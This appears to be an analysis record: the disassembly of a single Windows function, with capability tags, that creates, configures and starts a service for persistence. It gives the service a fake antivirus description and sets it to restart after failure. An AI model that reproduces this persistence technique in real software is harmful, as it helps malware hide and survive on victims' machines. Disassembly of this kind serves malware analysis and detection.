Function at 0x10003130
Capabilities:
Check if file exists
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84c
mov eax, dword [0x1001d00c]
xor eax, esp
mov dword [esp + 0x848], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
push 0x400
mov dword [0x1001ed98], eax
lea eax, [esp + 0x54]
push 0
push eax
mov dword [0x1001e394], esi
call fcn.10006b60
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
test esi, esi
je 0x100031a3
mov edi, dword [esi]
test edi, edi
je 0x100031a3
lea eax, [edi + 4]
push eax
lea eax, [esp + 0x54]
push eax
call ebx
mov eax, dword [0x1001e394]
mov ecx, dword [edi]
push edi
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov esi, dword [0x1001e394]
push 0x400
lea eax, [esp + 0x454]
push 0
push eax
call fcn.10006b60
add esp, 0xc
test esi, esi
je 0x100031ec
mov edi, dword [esi]
test edi, edi
je 0x100031ec
lea eax, [edi + 4]
push eax
lea eax, [esp + 0x454]
push eax
call ebx
mov eax, dword [0x1001e394]
mov ecx, dword [edi]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [eax], ecx
call edi
mov esi, dword [0x1001e394]
jmp 0x100031f2
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov byte [esp + 0x16], 0
test esi, esi
je 0x10003218
mov esi, dword [esi]
test esi, esi
je 0x10003218
lea eax, [esi + 4]
push eax
lea eax, [esp + 0x1a]
push eax
call ebx
mov eax, dword [0x1001e394]
mov ecx, dword [esi]
push esi
mov dword [eax], ecx
call edi
lea eax, [esp + 0x16]
push eax
call fcn.10009407
add esp, 4
test eax, eax
lea eax, [esp + 0x50]
setne byte [esp + 0x17]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10003267
push ecx
mov ecx, esp
push 0x1001a874
call fcn.10003b50
xor cl, cl
call fcn.100026b0
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x848]
xor ecx, esp
call fcn.10004276
mov esp, ebp
pop ebp
ret
push 0x10019588
lea eax, [esp + 0x54]
push 0x10d
push eax
call fcn.10009431
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x100032bf
push ecx
mov ecx, esp
push 0x1001a878
call fcn.10003b50
xor cl, cl
call fcn.100026b0
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x848]
xor ecx, esp
call fcn.10004276
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x64]
push eax
push 1
push 2
push 0x10
push 0xf01ff
lea eax, [esp + 0x478]
push eax
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
test edi, edi
jne 0x10003332
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.10002140
mov ecx, eax
test ecx, ecx
je 0x100035a6
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
push edi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push str.03_d
push eax
call fcn.10004010
add esp, 0xc
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ecx
jmp 0x1000355f
lea eax, [esp + 0x20]
mov dword [esp + 0x20], str.This_service_protect_your_pc_from_viruses_and_spyware.
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call ebx
push esi
call ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [esp + 0x18], eax
test eax, eax
je 0x1000352d
push 0xf01ff
lea ecx, [esp + 0x454]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x100034cf
lea eax, [esp + 0x38]
mov dword [esp + 0x24], 1
mov dword [esp + 0x34], eax
lea eax, [esp + 0x24]
push eax
push 2
push edi
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x3c], 3
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x64
mov dword [esp + 0x4c], 1
mov dword [esp + 0x50], 0x64
mov dword [esp + 0x54], 1
mov dword [esp + 0x58], 0x64
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov ecx, edi
call fcn.10002e80
cmp byte [esp + 0x17], 0
je 0x1000349a
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x10003475
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x10]
mov esi, eax
call fcn.10003c00
push esi
lea eax, [esp + 0x14]
push str.07_d
push eax
call fcn.10004010
add esp, 8
lea eax, [esp + 0x14]
mov ecx, esp
push eax
call fcn.10003c30
xor cl, cl
call fcn.100026b0
add esp, 4
lea ecx, [esp + 0x10]
call fcn.10003b30
push edi
call ebx
push dword [esp + 0x18]
call ebx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x848]
xor ecx, esp
call fcn.10004276
mov esp, ebp
pop ebp
ret
mov cl, 1
call fcn.100025c0
push edi
call ebx
push dword [esp + 0x18]
call ebx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x848]
xor ecx, esp
call fcn.10004276
mov esp, ebp
pop ebp
ret
push ecx
mov ecx, esp
push 0x1001a8bc
call fcn.10003b50
xor cl, cl
call fcn.100026b0
add esp, 4
push edi
call ebx
push dword [esp + 0x18]
call ebx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x848]
xor ecx, esp
call fcn.10004276
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x10]
mov esi, eax
call fcn.10003c00
push esi
lea eax, [esp + 0x14]
push str.05_d
push eax
call fcn.10004010
add esp, 8
lea eax, [esp + 0x14]
mov ecx, esp
push eax
call fcn.10003c30
xor cl, cl
call fcn.100026b0
add esp, 4
push dword [esp + 0x18]
call ebx
lea ecx, [esp + 0x10]
call fcn.10003b30
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x848]
xor ecx, esp
call fcn.10004276
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call fcn.10002140
mov ecx, eax
test ecx, ecx
je 0x100035b0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
push esi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push str.04_d
push eax
call fcn.10004010
add esp, 8
lea eax, [esp + 0x14]
mov ecx, esp
push eax
call fcn.10003c30
xor cl, cl
call fcn.100026b0
mov edx, dword [esp + 0x14]
or eax, 0xffffffff
add edx, 0xfffffff0
add esp, 4
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10003591
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [esp + 0x854]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10004276
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.10001f20
push 0x80004005
call fcn.10001f20
int3